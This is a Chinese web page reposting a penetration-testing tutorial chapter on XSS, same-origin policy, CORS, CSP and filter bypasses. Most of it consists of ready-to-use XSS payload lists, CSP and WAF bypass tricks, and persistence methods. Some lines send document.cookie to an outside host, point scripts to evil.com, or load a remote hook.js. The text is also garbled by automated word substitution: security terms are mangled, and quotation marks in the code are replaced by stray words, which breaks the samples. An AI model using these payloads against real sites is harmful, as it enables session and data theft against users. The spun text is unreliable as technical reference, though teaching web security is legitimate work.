首页 » SEO优化 » phpdocumenturi技巧_e起学丨WEB安然渗透测试根本常识六

phpdocumenturi技巧_e起学丨WEB安然渗透测试根本常识六

访客 2024-12-14 0

扫一扫用手机浏览

文章目录 [+]

3.2.1.1. 反射型XSS

反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:<?php echo \公众<p>hello, $_GET['user']</p>\"大众;?> ,那么在访问时设置 /?user=</p><script>alert(\"大众hack\"大众)</script><p> ,则可实行预设好的JavaScript代码。
反射型XSS常日涌如今搜索等功能中,须要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。

phpdocumenturi技巧_e起学丨WEB安然渗透测试根本常识六

3.2.1.2. 储存型XSS

phpdocumenturi技巧_e起学丨WEB安然渗透测试根本常识六
(图片来自网络侵删)

储存型XSS比较反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入做事器的数据库中,造成持久化的攻击。

3.2.1.3. DOM XSS

DOM型XSS不同之处在于DOM型XSS一样平常和做事器的解析相应没有直接关系,而是在JavaScript脚本动态实行的过程中产生的。

例如

<html>

<head>

<title>DOM Based XSS Demo</title>

<script>

function xsstest()

{

var str = document.getElementById(\"大众input\"大众).value; document.getElementById(\"大众output\"大众).innerHTML = \"大众<img src='\"大众+str+\"大众'></img>\"大众;

}

</script>

</head>

<body>

<div id=\"大众output\公众></div>

<input type=\公众text\公众 id=\公众input\"大众 size=50 value=\公众\"大众 />

<input type=\"大众button\公众 value=\"大众submit\"大众 onclick=\"大众xsstest()\公众 /> </body>

</html>

输入 x' onerror='javascript:alert(/xss/) 即可触发。

3.2.1.4. Blind XSS

Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时实行,并且在文档工具模型(DOM)中呈现payload。
它被归类为盲目的缘故原由是由于它常日发生在常日不暴露给用户的功能上。

3.2.2. 同源策略

3.2.2.1. 简介

同源策略限定了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的主要安全机制。
是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。

3.2.2.1.1. file域的同源策略

在之前的浏览器中,任意两个file域的URI被认为是同源的。
本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。

从Gecko 1.9开始,文件利用了更细致的同源策略,只有当源文件的父目录是目标文件的先人目录时,文件才能读取另一个文件。

3.2.2.1.2. cookie的同源策略

cookie利用不同的源定义办法,一个页面可以为本域和任何父域设置cookie,只假如父域不是公共后缀(public suffix)即可。

不管利用哪个协议(HTTP/HTTPS)或端口号,浏览器都许可给定的域以及其任何子域名访问cookie。
设置 cookie时,可以利用 domain / path / secure 和 http-only 标记来限定其访问性。

以是 https://localhost:8080/ 和 http://localhost:8081/ 的Cookie是共享的。

3.2.2.1.3. Flash/SilverLight跨域

浏览器的各种插件也存在跨域需求。
常日是通过在做事器配置crossdomain.xml,设置本做事许可哪些域名的跨域访问。

客户端会要求此文件,如果创造自己的域名在访问列表里,就发起真正的要求,否则不发送要求。

3.2.2.2. 源的变动

同源策略认为域和子域属于不同的域,例如

child1.a.com 与 a.com / child1.a.com 与 child2.a.com/ xxx.child1.a.com 与 child1.a.com 两两不同源。

对付这种情形,可以在两个方面各自设置 document.damain='a.com' 来改变其源来实现以上任意两个页面之间的通信。

其余由于浏览器单独保存端口号,这种赋值会导致端口号被重写为 null 。

3.2.2.3. 跨源访问

同源策略掌握了不同源之间的交互,这些交互常日分为三类:

● 常日许可跨域写操作(Cross-origin writes)

链接(links)

重定向

表单提交

● 常日许可跨域资源嵌入(Cross-origin embedding)

● 常日不许可跨域读操作(Cross-origin reads)

可能嵌入跨源的资源的一些示例有:

● <script src=\公众...\公众></script> 标签嵌入跨域脚本。
语法缺点信息只能在同源脚本中捕捉到。

● <link rel=\公众stylesheet\公众 href=\公众...\"大众> 标签嵌入CSS。
由于CSS的疏松的语法规则,CSS的跨域须要一个设置精确的Content-Type 头。

● <img> / <video> / <audio> 嵌入多媒体资源。

● <object> <embed> 和 <applet> 的插件。

● @font-face 引入的字体。
一些浏览器许可跨域字体( cross-origin fonts),一些须要同源字体(same-origin fonts)。

● <frame> 和 <iframe> 载入的任何资源。
站点可以利用X-Frame-Options头来阻挡这种形式的跨域交互。

3.2.2.3.1. JSONP跨域

JSONP便是利用 <script> 标签的跨域能力实现跨域数据的访问,要求动态天生的JavaScript脚本同时带一个callback函数名作为参数。

做事端收到要求后,动态天生脚本产生数据,并在代码中以产生的数据为参数调用callback函数。

3.2.2.3.2. 跨源脚本API访问

Javascript的APIs中,如 iframe.contentWindow , window.parent, window.open 和 window.opener 许可文档间相互引用。
当两个文档的源不同时,这些引用办法将对 window 和 location 工具的访问添加限定。

window 许可跨源访问的方法有

● window.blur

● window.close

● window.focus

● window.postMessage

window 许可跨源访问的属性有

● window.closed

● window.frames

● window.length

● window.location

● window.opener

● window.parent

● window.self

● window.top

● window.window

个中 window.location 许可读/写,其他的属性只许可读。

3.2.2.3.3. 跨源数据存储访问

存储在浏览器中的数据,如 localStorage 和 IndexedDB,以源进行分割。
每个源都拥有自己单独的存储空间,一个源中的Javascript脚本不能对属于其它源的数据进行读写操作。

3.2.2.4. CORS

CORS是一个W3C标准,全称是”跨域资源共享”(Cross-origin resource sharing)。
通过这个标准,可以许可浏览器读取跨域的资源。

3.2.2.4.1. 常见返转头

● Access-Control-Allow-Origin

声明许可的源

Access-Control-Allow-Origin: <origin> |

● Access-Control-Expose-Headers

声明许可暴露的头 e.g. Access-Control-Expose-Headers: X-My-Custom-Header,X-Another-Custom-Header

● Access-Control-Max-Age

声明Cache韶光

Access-Control-Max-Age: <delta-seconds>

● Access-Control-Allow-Credentials

声明是否许可在要求中带入

Access-Control-Allow-Credentials: true

● Access-Control-Allow-Methods

声明许可的访问办法

Access-Control-Allow-Methods: <method>[, <method>]

● Access-Control-Allow-Headers

声明许可的头

Access-Control-Allow-Headers: <field-name>[, <field-name>]

3.2.2.4.2. 常见要求头

● Origin

指定要求的源

Origin: <origin>

● Access-Control-Request-Method

声明要求利用的方法

Access-Control-Request-Method: <method>

● Access-Control-Request-Headers

声明要求利用的header

Access-Control-Request-Headers: <field-name>[, <field-name>]

3.2.2.4.3. 防御建议

如非必要不开启CORS

定义详细的白名单,不该用通配符,仅配置所须要的头

配置 Vary: Origin 头部

如非必要不该用 Access-Control-Allow-Credentials

限定缓存的韶光

3.2.2.5. 阻挡跨源访问

阻挡跨域写操作,可以检测要求中的 CSRF token ,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。

阻挡资源的跨站读取,由于嵌入资源常日会暴露信息,须要担保资源是不可嵌入的。
但是多数情形下浏览器都不会遵守 Content-Type 头。
例如如果在HTML文档中指定 <script> 标记,则浏览器会考试测验将HTML解析为JavaScript。

3.2.3. CSP

3.2.3.1. CSP是什么?

Content Security Policy,简称 CSP。
顾名思义,这个规范与内容安全有关,紧张是用来定义页面可以加载哪些资源,减少 XSS 的发生。

3.2.3.2. 配置

CSP策略可以通过 HTTP 头信息或者 meta 元素定义。

CSP 有三类:

● Content-Security-Policy (Google Chrome)

● X-Content-Security-Policy (Firefox)

● X-WebKit-CSP (WebKit-based browsers, e.g. Safari)

HTTP header :

\"大众Content-Security-Policy:\公众 策略

\"大众Content-Security-Policy-Report-Only:\公众 策略

HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是许可做事器检讨(非逼迫)一个策略。
多个头的策略定义由优先采取最先定义的。

HTML Meta :

<meta http-equiv=\公众content-security-policy\"大众 content=\"大众策略\"大众>

<meta http-equiv=\"大众content-security-policy-report-only\"大众 content=\"大众策略\"大众>

3.2.3.2.1. 指令解释

3.2.3.2.2. 关键字

● -

许可从任意url加载,除了 data: blob: filesystem: schemes

e.g. img-src -

● none

禁止从任何url加载资源

e.g. object-src 'none'

● self

只可以加载同源资源

e.g. img-src 'self'

● data:

可以通过data协议加载资源

e.g. img-src 'self' data:

● domain.example.com

e.g. img-src domain.example.com

只可以从特定的域加载资源

● \.example.com

e.g. img-src \.example.com

可以从任意example.com的子域处加载资源

● https://cdn.com

e.g. img-src https://cdn.com

只能从给定的域用https加载资源

● https:

e.g. img-src https:

只能从任意域用https加载资源

● unsafe-inline

许可内部资源实行代码例如style attribute,onclick或者是sicript标签

e.g. script-src 'unsafe-inline'

● unsafe-eval

许可一些不屈安的代码实行办法,例如js的eval()

e.g. script-src 'unsafe-eval'

● nonce-<base64-value>'

利用随机的nonce,许可加载标签上nonce属性匹配的标签

e.g. script-src 'nonce-bm9uY2U='

● <hash-algo>-<base64-value>'

许可hash值匹配的代码块被实行

e.g. script-src 'sha256-<base64-value>'

3.2.3.2.3. 配置范例

许可实行内联 JS 代码,但不许可加载外部资源

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

3.2.3.3. Bypass

3.2.3.3.1. 预加载

浏览器为了增强用户体验,让浏览器更有效率,就有一个预加载的功能,大体是利用浏览器空闲韶光去加载指定的内容,然后缓存起来。
这个技能又细分为DNS-prefetch、subresource、prefetch、preconnect、prerender。

HTML5页面预加载是用link标签的rel属性来指定的。
如果csp头有unsafe-inline,则用预加载的办法可以向外界发出要求,例如

<!-- 预加载某个页面 -->

<link rel='prefetch' href='http://xxxx'><!-- firefox -->

<link rel='prerender' href='http://xxxx'><!-- chrome -->

<!-- 预加载某个图片 -->

<link rel='prefetch' href='http://xxxx/x.jpg'>

<!-- DNS 预解析 -->

<link rel=\公众dns-prefetch\"大众 href=\"大众http://xxxx\"大众>

<!-- 特定文件类型预加载 -->

<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

其余,不是所有的页面都能够被预加载,当资源类型如下时,讲阻挡预加载操作:

● URL中包含下载资源

● 页面中包含音频、视频

● POST、PUT和DELET操作的ajax要求

● HTTP认证

● HTTPS页面

● 含恶意软件的页面

● 弹窗页面

● 占用资源很多的页面

● 打开了chrome developer tools开拓工具

3.2.3.3.2. MIME Sniff

举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再“<script href=’http://xxx.com/xx.jpg’>“,这里csp认为是一个img,绕过了检讨,如果网站没有回精确的mime type,浏览器会进行预测,就可能加载该img作为脚本。

3.2.3.3.3. 302跳转

对付302跳转绕过CSP而言,实际上有以下几点限定:

● 跳板必须在许可的域内。

● 要加载的文件的host部分必须跟许可的域的host部分同等

3.2.3.3.4. iframe

当可以实行代码时,可以创建一个源为 css js 等静态文件的frame,在配置不当时,该frame并不存在csp,则在该frame下再次创建frame,达到bypass的目的。
同理,利用 ../../../ /%2e%2e%2f等可能触发做事器报错的链接也可以到达相应的目的。

3.2.3.3.5. 其他

● CND Bypass,如果网站信赖了某个CDN, 那么可利用相应的CDN bypass

● Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request

● jQuery sourcemap

document.write(`<script> //@ sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);``

● a标签的ping属性

● For FireFox <META HTTP-EQUIV=\"大众refresh\"大众 CONTENT=\公众0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=\"大众>

● <link rel=\"大众import\"大众 />

● <meta http-equiv=\公众refresh\"大众 content=\公众0; url=http://....\公众 />

● 当script-src为nonce或无限制,且base-uri无限制时,可通过 base 标签修正根URL来bypass,如下加载了http://evil.com/main.js

<base href=\公众http://evil.com/\"大众>

<script nonce=\"大众correct value\"大众 src=\"大众/main.js\"大众></script>

3.2.4. XSS数据源

3.2.4.1. URL

● location

● location.href

● location.pathname

● location.search

● location.hash

● document.URL

● document.documentURI

● document.baseURI

3.2.4.2. Navigation

● window.name

● document.referrer

3.2.4.3. Communication

● Ajax

● Fetch

● WebSocket

● PostMessage

3.2.4.4. Storage

● Cookie

● LocalStorage

● SessionStorage

3.2.5. Sink

3.2.5.1. 实行Js

● eval(payload)

● setTimeout(payload, 100)

● setInterval(payload, 100)

● Function(payload)()

● <script>payload</script>

● <img src=x onerror=payload>

3.2.5.2. 加载URL

● location=javascript:alert(/xss/)

● location.href=javascript:alert(/xss/)

● location.assign(javascript:alert(/xss/))

● location.replace(javascript:alert(/xss/))

3.2.5.3. 实行HTML

● xx.innerHTML=payload

● xx.outerHTML=payload

● document.write(payload)

● document.writeln(payload)

3.2.6. XSS保护

3.2.6.1. HTML过滤

利用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。
例如DOMPurify等工具都是用该办法实现了XSS的保护。

3.2.6.2. X-Frame

X-Frame-Options 相应头有三个可选的值:

● DENY

页面不能被嵌入到任何iframe或frame中

● SAMEORIGIN

页面只能被本站页面嵌入到iframe或者frame中

● ALLOW-FROM

页面许可frame或frame加载

3.2.6.3. XSS保护头

基于 Webkit 内核的浏览器(比如Chrome)有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。

而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。

要设置浏览器的防护机制,则可利用X-XSS-Protection字段 该字段有三个可选的值

0: 表示关闭浏览器的XSS防护机制

1: 删除检测到的恶意代码, 如果相应报文中没有看到X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置

1; mode=block: 如果检测到恶意代码,在不渲染恶意代码

FireFox没有干系的保护机制,如果须要保护,可利用NoScript等干系插件。

3.2.7. WAF Bypass

● 利用<>标记

● 利用html属性

href

lowsrc

bgsound

background

value

action

dynsrc

● 关键字

利用回车拆分

字符串拼接(window[\"大众al\"大众 + \"大众ert\公众])

● 利用编码绕过

base64

jsfuck

String.fromCharCode

HTML

URL

hex(window[\"大众\x61\x6c\x65\x72\x74\"大众])

unicode

utf7(+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-)

utf16

● 大小写稠浊

● 对标签属性值转码

● 产生事宜

● css跨站解析

● 长度限定bypass

eval(name)

eval(hash)

import

$.getScript

$.get

● .

利用 。
绕过IP/域名

document['cookie'] 绕过属性取值

● 过滤引号用 “ ` “ 绕过

3.2.8.1. CSS 注入

CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种办法被逐渐禁用,与此同时,涌现了一些新的攻击办法。

3.2.8.1.2. CSS selectors

上图是利用CSS selectors完成攻击的一个示例。

3.2.8.1.3. Abusing Unicode Range

当可以插入CSS的时候,可以利用 font-face 合营 unicode-range 获取目标网页对应字符集。
PoC如下

当字符较多时,则可以结合 ::first-line 等CSS属性缩小范围,以获取更精确的内容。

3.2.8.2. Bypass Via Script Gadgets

3.2.8.2.1. 简介

一些网站会利用白名单或者一些基于DOM的防御办法,对这些办法,有一种被称为 Code Reuse 的攻击办法可以绕过。
该办法和二进制攻防中的Gadget相似,利用目标中的合法代码来达到绕过防御方法的目的。
在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets 中有该方法的详细描述。

portswigger的一篇博文也表达了类似的想法 https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations。

下面有一个大略的例子,这个例子利用了 DOMPurify 来加固,但是由于引入了 jquery.mobile.js 导致可以被攻击。

3.2.8.2.2. 例子

// index.php

<?php

$msg = $_GET['message'];

$msg = str_replace(\"大众\n\"大众, \"大众\"大众,

$msg); $msg = base64_encode($msg);

?>

<!DOCTYPE html>

<html>

<head>

<meta charset=\公众UTF-8\"大众>

<title>Preview</title>

<script type=\公众text/javascript\"大众 src=\"大众purify.js\"大众></script>

<script type=\"大众text/javascript\公众 src=\"大众jquery.js\"大众></script>

<script type=\"大众text/javascript\"大众 src=\公众jquery.mobile.js\"大众></script>

</head>

<body>

<script type=\"大众text/javascript\"大众>

var d= atob('<?php echo $msg; ?>');

var cleanvar = DOMPurify.sanitize(d);

document.write(cleanvar);

</script>

</body>

</html>

// playload

<div data-role=popup id='-->

<script>alert(1)</script>'>

</div>

3.2.8.3. jsfuck cheat sheet

3.2.8.3.1. Basic values

● undefined > [][[]]

● false > ![]

● true > !![]

● NaN > +[![]]

● 0 > +[]

● 1 > +!+[]

● 2 > !+[]+!+[]

3.2.8.3.2. Basic strings

● '' > []+[]

● 'undefined' > []+[][[]]

● 'false' > []+![]

● 'true' > []+!![]

● 'NaN' > []+(+[![]])

● '0' > []+(+[])

● '1' > []+(+!+[])

● '2' > []+(!+[]+!+[])

● '10' > [+!+[]]+[+[]]

● '11' > [+!+[]]+[+!+[]]

● '100' > [+!+[]]+[+[]]+(+[])

3.2.8.3.3. Higher numbers

● 10 > +([+!+[]]+[+[]])

● 11 > +([+!+[]]+[+!+[]])

● 100 > +([+!+[]]+[+[]]+(+[]))

3.2.8.3.4. String alphabet

● 'a' > ([]+![])[+!+[]]

● 'd' > ([]+[][[]])[+!+[]+!+[]]

● 'e' > ([]+!+[])[+!+[]+!+[]+!+[]]

● 'f' > ([]+![])[+[]]

● 'i' > ([]+[][[]])[+!+[]+!+[]+!+[]+!+[]+!+[]]

● 'l' > ([]+![])[+!+[]+!+[]]

● 'n' > ([]+[][[]])[+!+[]]

● 'r' > ([]+!+[])[+!+[]]

● 's' > ([]+![])[+!+[]+!+[]+!+[]]

● 't' > ([]+!+[])[+[]]

● 'u' > ([]+!+[])[+!+[]+!+[]]

3.2.8.4. RPO(Relative Path Overwrite)

RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络做事器的反应,利用做事器的 Web 缓存技能和配置差异。

3.2.9. Payload

3.2.9.1. 常用

● <script>alert(/xss/)</script>

● <svg onload=alert(document.domain)>

● <img src=document.domain onerror=alert(document.domain)>

● <M onmouseover=alert(document.domain)>M

● <marquee onscroll=alert(document.domain)>

● <a href=javascript:alert(document.domain)>M</a>

● <body onload=alert(document.domain)>

● <details open ontoggle=alert(document.domain)>

● <embed src=javascript:alert(document.domain)>

3.2.9.2. 大小写绕过

● <script>alert(1)</script>

● <sCrIpT>alert(1)</sCrIpT>

● <ScRiPt>alert(1)</ScRiPt>

● <sCrIpT>alert(1)</ScRiPt>

● <ScRiPt>alert(1)</sCrIpT>

● <img src=1 onerror=alert(1)>

● <iMg src=1 oNeRrOr=alert(1)>

● <ImG src=1 OnErRoR=alert(1)>

● <img src=1 onerror=\"大众alert(\公众M\"大众)\公众>

● <marquee onscroll=alert(1)>

● <mArQuEe OnScRoLl=alert(1)>

● <MaRqUeE oNsCrOlL=alert(1)>

3.2.9.3. 各种alert

● <script>alert(1)</script>

● <script>confirm(1)</script>

● <script>prompt(1)</script>

● <script>alert('1')</script>

● <script>alert(\公众1\"大众)</script>

● <script>alert`1`</script>

● <script>(alert)(1)</script>

● <script>a=alert,a(1)</script>

● <script>[1].find(alert)</script>

● <script>top[\公众al\公众+\"大众ert\"大众](1)</script>

● <script>top[\"大众a\"大众+\"大众l\公众+\"大众e\公众+\公众r\"大众+\"大众t\公众](1)</script>

● <script>top[/al/.source+/ert/.source](1)</script>

● <script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>

3.2.9.4. 伪协议

● <a href=javascript:/0/,alert(%22M%22)>M</a>

● <a href=javascript:/00/,alert(%22M%22)>M</a>

● <a href=javascript:/000/,alert(%22M%22)>M</a>

● <a href=javascript:/M/,alert(%22M%22)>M</a>

3.2.9.5. Chrome XSS auditor bypass

● ?param=https://&param=@z.exeye.io/import%20rel=import%3E

● <base href=javascript:/M/><a href=,alert(1)>M</a>

● <base href=javascript:/M/><iframe src=,alert(1)></iframe>

3.2.9.6. 长度限定

<script>s+=\"大众l\"大众</script>

\...

<script>eval(s)</script>

3.2.9.7. jquery sourceMappingURL

</textarea><script>var

a=1//@ sourceMappingURL=//xss.site</script>

3.2.9.8. 图片名

\"大众><img src=x onerror=alert(document.cookie)>.gif

3.2.9.9. 过期的payload

● src=javascript:alert基本不可以用

● css expression特性只在旧版本ie可用

3.2.9.10. css

<div style=\"大众background-image:url(javascript:alert(/xss/))\公众>

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

3.2.9.11. markdown

● [a](javascript:prompt(document.cookie))

● [a](j a v a s c r i p t:prompt(document.cookie)) <javascript:alert('XSS')>

● ![a'\公众`onerror=prompt(document.cookie)](x)

● [notmalicious](javascript:window.onerror=alert;throw%20document.cookie)

● [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

● ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

3.2.9.12. iframe

<iframe onload='

var sc = document.createElement(\"大众scr\"大众 + \"大众ipt\"大众);

sc.type = \"大众text/javascr\公众 + \"大众ipt\"大众;

sc.src = \公众http://1.2.3.4/js/hook.js\公众; document.body.appendChild(sc);

'

/>

● <iframe src=javascript:alert(1)></iframe>

● <iframe src=\"大众data:text/html,<iframe src=javascript:alert('M')>● </iframe>\"大众></iframe>

● <iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>

● <iframe srcdoc=<svg/onload&equals;alert&lpar;1)>></iframe>

● <iframe src=https://baidu.com width=1366 height=768></iframe>

● <iframe src=javascript:alert(1) width=1366 height=768></iframe

3.2.9.13. form

● <form action=javascript:alert(1)><input type=submit>

● <form><button formaction=javascript:alert(1)>M

● <form><input formaction=javascript:alert(1) type=submit value=M>

● <form><input formaction=javascript:alert(1) type=image value=M>

● <form><input formaction=javascript:alert(1) type=image src=1>

3.2.9.14. meta

<META HTTP-EQUIV=\"大众Link\"大众 Content=\公众<http://ha.ckers.org/xss.css>; REL=stylesheet\公众>

3.2.10. 持久化

3.2.10.1. 基于存储

有时候网站会将信息存储在Cookie或localStorage,而由于这些数据一样平常是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,乃至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。
因此当有一个XSS时,可以把payload写入个中,在对应条件下触发。

在一些条件下,这种利用办法可能由于一些分外字符造成问题,可以利用 String.fromCharCode 来绕过。

3.2.10.2. Service Worker

Service Worker可以拦截http要求,起到类似本地代理的浸染,故可以利用Service Worker Hook一些要求,在要求中返回攻击代码,以实现持久化攻击的目的。

在Chrome中,可通过 chrome://inspect/#service-workers 来查看Service Worker的状态,并进行停滞。

3.2.10.3. AppCache

在可控的网络环境下(公共wifi),可以利用AppCache机制,来逼迫存储一些Payload,未打消的情形下,用户访问站点时对应的payload会一贯存在。

免责声明:

本文内容出于通报更多信息之目的,属于非营利性的转载。
如无意中陵犯了某个媒体或个人的知识产权,请联系我们,我们将立即删除干系内容。
其他媒体、网络或个人从本网下载利用须自大版权等法律任务。

标签:

相关文章

大数据时代下的家风传承与创新

随着大数据时代的到来,人们的生活、工作和思维方式都发生了翻天覆地的变化。在这个信息爆炸的时代,家风作为中华民族优秀传统文化的重要组...

SEO优化 2024-12-16 阅读0 评论0

大数据时代下的影院变革,智慧观影新体验

随着科技的飞速发展,大数据技术已经渗透到我们生活的方方面面。在电影行业,大数据的应用也为影院带来了前所未有的变革,让观影体验变得更...

SEO优化 2024-12-16 阅读0 评论0